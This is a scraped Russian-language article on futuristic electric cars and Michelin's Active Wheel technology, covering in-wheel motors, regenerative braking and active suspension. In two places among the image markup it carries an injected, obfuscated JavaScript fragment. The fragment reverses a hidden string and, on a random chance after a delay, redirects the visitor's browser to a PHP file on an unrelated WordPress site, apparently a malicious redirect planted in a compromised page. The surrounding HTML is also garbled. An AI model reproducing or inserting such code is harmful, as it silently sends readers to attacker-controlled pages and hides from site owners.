Новые электромобили: пришельцы из будущего
Новые электромобили последние модели не напрасно называют пришельцами из будущего. Их внешний вид просто завораживает, а оригинальность конструкции просто шокирует.
Технология активного колеса
Технология Michelin Active Wheel уже в течении нескольких лет была на устах автомобильного бомонда, но реальных предложений еще серьезно никто не представлял.
На протяжении многих лет развиваются несколько конструктивных направлений активного колеса, но в 2008 году на автосалоне была представлена конструкция с инновационным дизайном, оригинальной конструкцией и принципиально новым подходом.
Автомобиль действительно получился очень красивый, как будто из будущего.
Активное колесо этого концепта по существу стандартное, но с двумя электромоторами. Один электродвигатель вращает колесо, придавая ход автомобилю, второй электродвигатель, кроме обычного тормозного механизма, выступает в роли электрического тормозного механизма, работая при торможении как генератор, возвращая электроэнергию назад в батарею.
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/12/eltvokol.jpg» alt=»Активное колесо электромобиля» width=»750″ height=»442″/></p><div class= "Активное колесо")
Такому автомобилю не нужны коробка передач, сцепление, дифференциал, карданный вал и стабилизатор поперечной устойчивости.
Компактный приводной электродвигатель Active Wheel так компактно интегрирован в систему колеса, что позволило разработчикам установить стандартный тормозной диск между двумя двигателями. Получилось, что тормозной механизм и все компоненты подвески уместились в пространстве одного колеса.
Компоновка электромобиля
Автомобиль имеет все четыре ведущих колеса, управляемые интеллектуальным блоком управления по особой программе, которая управляет каждым колесом в отдельности и дает команду именно такую, какую диктует условия дороги и собственно водитель.
{if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-ru.ru/wp-content/uploads/2016/12/telgmish.jpg» alt=»Платформа электромобиля с независимыми колесами» width=»750″ height=»551″/></p><p>Система регулирует крутящийся момент между всеми колесами, аналогичный работе дифференциала. Регулирует идеальное соотношения требуемой тяги между всеми колесами. Каждое колесо работает отдельно и так, как именно ему нужно работать.</p><p>Результаты такой эффективной работы колес позволят автомобилю проходить повороты гораздо быстрее и безопаснее.</p><p>Электродвигатель управляющий исполнительным механизмом подвески, соединенный с системой демпфирования, управляет степенью жесткости.</p><p>Эта уникальная система подвески имеет время отклика срабатывания всего лишь 0,003 секунды, это означает что подвеска реагирует на дорожный рельеф чрезвычайно быстро.</p><p>Нельзя не упомянуть о преимуществе технологии Активного колесо в пассивной безопасности. Нет необходимости в традиционном двигателе в передней части транспортного средства, эта область может теперь использоваться под размещение аккумуляторов.</p><p>Michelin начал развивать на свою технологию Active Wheel более 12 лет назад, но объявил об этом только тогда, когда эти технологии стали доступны по цене и получили реальный массовый спрос.</p><p><img class= "Платформа электромобиля с независимыми колесами")
